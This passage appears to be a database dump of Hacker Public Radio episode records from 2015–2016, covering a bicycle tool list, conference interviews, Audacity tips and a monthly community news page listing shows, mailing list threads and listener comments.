(1804,'2015-07-02','What\'s in my Bicycle Repair Tool Box',1454,'I describe what\'s in my bike repair tool box and what the tools do.','<h2>Tools Mentioned</h2>\r\n\r\n<p>Unless otherwise stated, all are made by Park Bicycle Tools: https://www.parktool.com/</p>\r\n\r\n<ul>\r\n<li>SPA-1: Pin Spanner: Green</li>\r\n<li>SPA-6: Adjustable Pin Spanner</li>\r\n<li>SW-7: Triple Spoke Wrench</li>\r\n<li>XLC bike tools crank tool TO-C02 (Crankarm removal tool): https://www.amazon.com/XLC-bike-tools-crank-tool/dp/B000NU2WAS/</li>\r\n<li>SCW-13, SCW-15: 13mm, 15mm Shop Cone Wrenches</li>\r\n<li>DCW-1: Double-Ended Cone Wrench</li>\r\n<li>FR-1, 2, 5, 6: Freewheel Remover tools</li>\r\n<li>BBT-22: Bottom Bracket Tool</li>\r\n<li>CN-10: Professional Cable and Housing Cutter</li>\r\n<li>Avenir \"Third Hand\" Cable Puller: 94-27-403 (https://www.avenirusa.com/parts-and-accessories/tools/cable-tools/third-hand-cable-puller.html)</li>\r\n<li>HCW-5: Crank and Bottom Bracket Wrench</li>\r\n<li>CT-3: Chain tool</li>\r\n<li>HCW-15: Headset Wrench</li>\r\n<li>Ferrules for cable housing</li>\r\n<li>Cable End Caps</li>\r\n<li>TW-1: Torque Wrench</li>\r\n<li>SR-1: Sprocket Remover / Chain Whip</li>\r\n<li>Vise Grips (small and large)</li>\r\n<li>Adjustable wrenches: 6\", 8\", 10\", 12\"</li>\r\n</ul>',238,23,0,'CC-BY-SA','bicycles, bicycle repair, DIY, tools',0,0,1),
(1797,'2015-06-23','An Interview with Aaron Wolf of the Snowdrift Co-op Project',875,'Aaron Wolf of the Snowdrift Co-op project is interviewed by David Whitman','<p>\r\nAn Interview with Aaron Wolf of the Snowdrift Co-op project by David Whitman during LinuxFest Northwest 2015\r\n</p>\r\n<p>\r\nAaron Wolf  <a href=\"https://blog.wolftune.com/\">https://blog.wolftune.com/</a>\r\n</p>\r\n<p>\r\nSnowdrift: <a href=\"https://snowdrift.coop\">https://snowdrift.coop</a>\r\nAbout:\r\nWe\'re building a sustainable funding platform for freely-licensed works. Our innovative matching pledge creates a network effect where we all work together to support these public goods.\r\n</p>\r\n<p>\r\nIntroducing Snowdrift.coop\r\n</p>\r\n<p>\r\nOur matching patronage system allows everyone to support FLO projects with minimal risk and maximum impact.\r\n</p>\r\n<p>\r\nUnlike the one-to-one matching used in traditional fundraising, we use a many-to-many matching pledge that creates a network effect (like the internet itself) so that we all reinforce one another. Unlike one-time fundraising campaigns that help projects get started, Snowdrift.coop pays out monthly to provide sustainability for ongoing work.\r\n</p>\r\n<p>\r\nBefore the times of modern market capitalism, creative workers were supported by wealthy patrons. With Snowdrift.coop, the global community becomes the patron. Instead of businesses deciding the options that we then merely choose from as consumers, we will support and actively work with projects that best serve the interests of the public.\r\n</p>\r\n<p>\r\nSnowdrift wiki: <a href=\"https://snowdrift.coop/p/snowdrift/w\">https://snowdrift.coop/p/snowdrift/w</a>\r\n</p>\r\n<p>\r\nIRC at: freenode.net at #snowdrift \r\n</p>',209,78,1,'CC-BY-SA','Free Software Support',0,0,1),
(1802,'2015-06-30','An Interview with Emily Hampton a LinuxFest Northwest Volunteer',415,'An Interview with Emily Hampton a LinuxFest Northwest Volunteer','<h3>Emily Hampton</h3>\r\n\r\n<ul>\r\n<li>Google Plus page admin for LFNW  <a href=\"https://plus.google.com/u/0/111293764782511971489\">https://plus.google.com/u/0/111293764782511971489</a>\r\n</li>\r\n<li>Find out more about LinuxFest Northwest at <a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</li>\r\n<li>5 years attending LinuxFest NorthWest\r\n</li>\r\n<li>3 Years as a Volunteer\r\n<p></p>\r\n</li>\r\n</ul>',209,78,1,'CC-BY-SA','LinuxFest Northwest, Volunteers',0,0,1),
(1796,'2015-06-22','Audacity - Chains, Notches and Labels',909,'Some more Tips and Tricks when using Audacity','<p>\r\nI expand some on Jon Kulp\'s  show on using Labels in Audacity. Specifically, I comment on importing a Label track from a Tab separated text file.\r\n</p>\r\n<p>\r\n\r\n<a href=\"https://wiki.audacityteam.org/wiki/Nyquist_Effect_Plug-ins#Notch_Filter\">I go on to talk about using Notch filters, a Nyquist-effect plugin for Audacity.</a> Notch filters work extremely well on certain frequency centered noise like mains hum.\r\n</p>\r\n<p>\r\n\r\nI follow up by talking about <a href=\"https://manual.audacityteam.org/o/man/chains_for_batch_processing_and_effects_automation.html\">chains</a>. A way of doing batch operations directly in Audacity.\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://wiki.audacityteam.org/wiki/Nyquist_Effect_Plug-ins#Notch_Filter\">https://wiki.audacityteam.org/wiki/Nyquist_Effect_Plug-ins#Notch_Filter</a> </li>\r\n<li><a href=\"https://manual.audacityteam.org/o/man/chains_for_batch_processing_and_effects_automation.html\">https://manual.audacityteam.org/o/man/chains_for_batch_processing_and_effects_automation.html</a></li>\r\n</ul>\r\n',307,45,0,'CC-BY-SA','Audacity, Recording, Editing, notch filter, chain',0,0,1),
(1798,'2015-06-24','Machine learning and service robots.',563,'Interview with Prof. Dr. Wolfgang Ertel at the 2014 MakerWorld in Germany','<p>\r\nLink to the videos of the crawling robots: <a href=\"https://iki.hs-weingarten.de/?lang=eng&amp;page=p_crawler\">https://iki.hs-weingarten.de/?lang=eng&amp;page=p_crawler</a>\r\n</p>\r\n<p>\r\nLink to the general Ravensburg-Weingarten University of Applied Sciences page, where you can also find videos of the service robots \"Kate\" and \"Marvin\": \r\n<a href=\"https://iki.hs-weingarten.de/?lang=eng&amp;page=aktuelles\">https://iki.hs-weingarten.de/?lang=eng&amp;page=aktuelles</a>\r\n</p>',271,78,0,'CC-BY-SA','machine learning, robots, maker',0,0,1),
(1801,'2015-06-29','How to tell your left earbud from your right',152,'Lowering the quality of shows, Ken provides a lifehack tip.','<h2>AMAZING LIFE HACK</h2>\r\n<p>\r\nTie a knot in your left ear bud lead, and you can feel which is which without looking.\r\n</p>',30,0,0,'CC-BY-SA','lifehack, earphones, knots, tips, hints, tricks',0,0,1),
(1956,'2016-02-01','HPR Community News for January 2016',2340,'HPR Community News for January 2016','\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1935\" target=\"_blank\">1935</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-01-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1935\" target=\"_blank\">Quick Bashpodder Fix</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=229\" target=\"_blank\">Charles in NJ</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1936\" target=\"_blank\">1936</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-01-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1936\" target=\"_blank\">HPR Community News for December 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1937\" target=\"_blank\">1937</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-01-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1937\" target=\"_blank\">Klaatu talks to Cloudera about Hadoop and Big Data</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1938\" target=\"_blank\">1938</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-01-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1938\" target=\"_blank\">How I prepare HPR shows</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1939\" target=\"_blank\">1939</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-01-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1939\" target=\"_blank\">Collating Pages with pdftk</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1940\" target=\"_blank\">1940</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-01-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1940\" target=\"_blank\">WASHLUG Talk  on LastPass</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1941\" target=\"_blank\">1941</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-01-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1941\" target=\"_blank\">What\'s in my case</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1942\" target=\"_blank\">1942</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-01-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1942\" target=\"_blank\">Kobo Touch N-905 E-Reader</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1943\" target=\"_blank\">1943</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-01-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1943\" target=\"_blank\">HPR AudioBook Club 11.5 - Interview with David Collins-Rivera</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1944\" target=\"_blank\">1944</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-01-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1944\" target=\"_blank\">sshfs - Secure SHell FileSystem</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1945\" target=\"_blank\">1945</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-01-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1945\" target=\"_blank\">The Quassel IRC System</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1946\" target=\"_blank\">1946</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-01-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1946\" target=\"_blank\">Wok Cookery</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1947\" target=\"_blank\">1947</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-01-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1947\" target=\"_blank\">ocenaudio </a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1948\" target=\"_blank\">1948</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-01-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1948\" target=\"_blank\">Check Your Spelling in Vim</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1949\" target=\"_blank\">1949</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-01-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1949\" target=\"_blank\">The Kindle/Kobo Open Reader (KOReader)</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1950\" target=\"_blank\">1950</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-01-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1950\" target=\"_blank\">Kdenlive Part 2: Advanced Editing Technique</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1951\" target=\"_blank\">1951</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-01-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1951\" target=\"_blank\">Some additional Bash tips</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1952\" target=\"_blank\">1952</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-01-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1952\" target=\"_blank\">Time now Ladies and Gents</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1953\" target=\"_blank\">1953</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-01-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1953\" target=\"_blank\">An Interview with David Willson of the Software Freedom School</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1954\" target=\"_blank\">1954</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-01-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1954\" target=\"_blank\">Grandpa Shows Us How to Turn Custom Pens</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1955\" target=\"_blank\">1955</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-01-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1955\" target=\"_blank\">Install Open Street Map on a Garmin 60CX</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-01-06 12:19:29 +0100<br/>\n        <em>Subject:</em> Call for shows ... soon.<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1101\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1101</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-01-07 15:16:34 +0100<br/>\n        <em>Subject:</em> Request to reserve slots for FOSDEM&#39;16 Interviews<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1102\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1102</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-01-09 20:19:25 +0100<br/>\n        <em>Subject:</em> Upload issue resolved<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1104\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1104</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-01-09 20:42:36 UTC<br/>\n        <em>Subject:</em> Mailing list software turned off my subscription<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1106\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1106</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-01-22 12:40:22 +0100<br/>\n        <em>Subject:</em> FOSDEM Send in your questions<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1108\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1108</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br/>\n        <em>Date:</em> 2016-01-22 06:58:11 -0800<br/>\n        <em>Subject:</em> Spam filters do not like mail-lists<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1109\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1109</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Lord Drachenblut &lt;lord.drachenblut@...&gt;<br/>\n        <em>Date:</em> 2016-01-22 17:17:38 UTC<br/>\n        <em>Subject:</em> SCALE14X keynote<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1112\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1112</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Nigel Verity &lt;nigelverity@...&gt;<br/>\n        <em>Date:</em> 2016-01-22 21:48:38 UTC<br/>\n        <em>Subject:</em> Re: FOSDEM Send in your questions<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1114\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1114</a><br/>\n        <em>Messages:</em> 2<br/></li>\n</ol>\nTotal messages this month: 16<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 55 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1933#comments\" target=\"_blank\">hpr1933</a></strong>\n(2015-12-30) \"<em>HPR AudioBookClub 11 Street Candles</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1933#2\" target=\"_blank\">Comment 2</a>:\nDavid L. Willson on 2016-01-05:\n\"dangit!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1934#comments\" target=\"_blank\">hpr1934</a></strong>\n(2015-12-31) \"<em>Experiencing the Meegopad T-02  Part two</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2015-12-31:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp  on 2016-01-01:\n\"$2 mic\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#4\" target=\"_blank\">Comment 4</a>:\nDennis on 2016-01-03:\n\"Love the subtle humor...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#5\" target=\"_blank\">Comment 5</a>:\nElizabeth Chandler on 2016-01-03:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#6\" target=\"_blank\">Comment 6</a>:\nJane V. Blanchard on 2016-01-03:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#7\" target=\"_blank\">Comment 7</a>:\nA Shadowy Figure on 2016-01-04:\n\"Suitable for framing \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#8\" target=\"_blank\">Comment 8</a>:\nFrank on 2016-01-08:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1936#comments\" target=\"_blank\">hpr1936</a></strong>\n(2016-01-04) \"<em>HPR Community News for December 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1936#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-01-06:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1936#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2016-01-07:\n\"Farts\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1936#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-01-07:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1936#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2016-01-07:\n\"Please do so\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1936#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2016-01-10:\n\"Le P&eacute;tomane\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1939#comments\" target=\"_blank\">hpr1939</a></strong>\n(2016-01-07) \"<em>Collating Pages with pdftk</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1939#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-01-10:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1939#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-01-10:\n\"Very nice\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1939#3\" target=\"_blank\">Comment 3</a>:\nel Mussol on 2016-01-11:\n\"where is Dave\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1939#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-01-14:\n\"Donkeys\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1941#comments\" target=\"_blank\">hpr1941</a></strong>\n(2016-01-11) \"<em>What\'s in my case</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#1\" target=\"_blank\">Comment 1</a>:\nMagnus919 on 2016-01-11:\n\"Chronicles of a Cheap Geezer\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-01-11:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-01-11:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-01-12:\n\"What&#39;s a duplex check?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#5\" target=\"_blank\">Comment 5</a>:\nFrank on 2016-01-12:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#6\" target=\"_blank\">Comment 6</a>:\nMike Ray on 2016-01-13:\n\"Nostalgia aint what it used to be\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#7\" target=\"_blank\">Comment 7</a>:\nJonas on 2016-01-14:\n\"Great Episode\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#8\" target=\"_blank\">Comment 8</a>:\nDave Morriss on 2016-01-14:\n\"Check vs Cheque\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#9\" target=\"_blank\">Comment 9</a>:\nDave Morriss on 2016-01-14:\n\"Re: Nostalgia\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#10\" target=\"_blank\">Comment 10</a>:\nDave Morriss on 2016-01-14:\n\"Thanks Jonas\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#11\" target=\"_blank\">Comment 11</a>:\nMike Ray on 2016-01-14:\n\"Leftpondian spelling\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#12\" target=\"_blank\">Comment 12</a>:\nDave Morriss on 2016-01-14:\n\"Re: Leftpondian spelling\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#13\" target=\"_blank\">Comment 13</a>:\nMike Ray on 2016-01-14:\n\"Rationalising languages\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#14\" target=\"_blank\">Comment 14</a>:\nJon Kulp  on 2016-01-14:\n\"Gotta try one now\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#15\" target=\"_blank\">Comment 15</a>:\nDave Morriss on 2016-01-15:\n\"Language rationalisation\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#16\" target=\"_blank\">Comment 16</a>:\nDave Morriss on 2016-01-15:\n\"Hope you enjoy your fountain pen\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#17\" target=\"_blank\">Comment 17</a>:\nJon Kulp  on 2016-01-15:\n\"Umm...probably not\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1942#comments\" target=\"_blank\">hpr1942</a></strong>\n(2016-01-12) \"<em>Kobo Touch N-905 E-Reader</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1942#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2016-01-13:\n\"KOReader uses normal directories\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1942#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 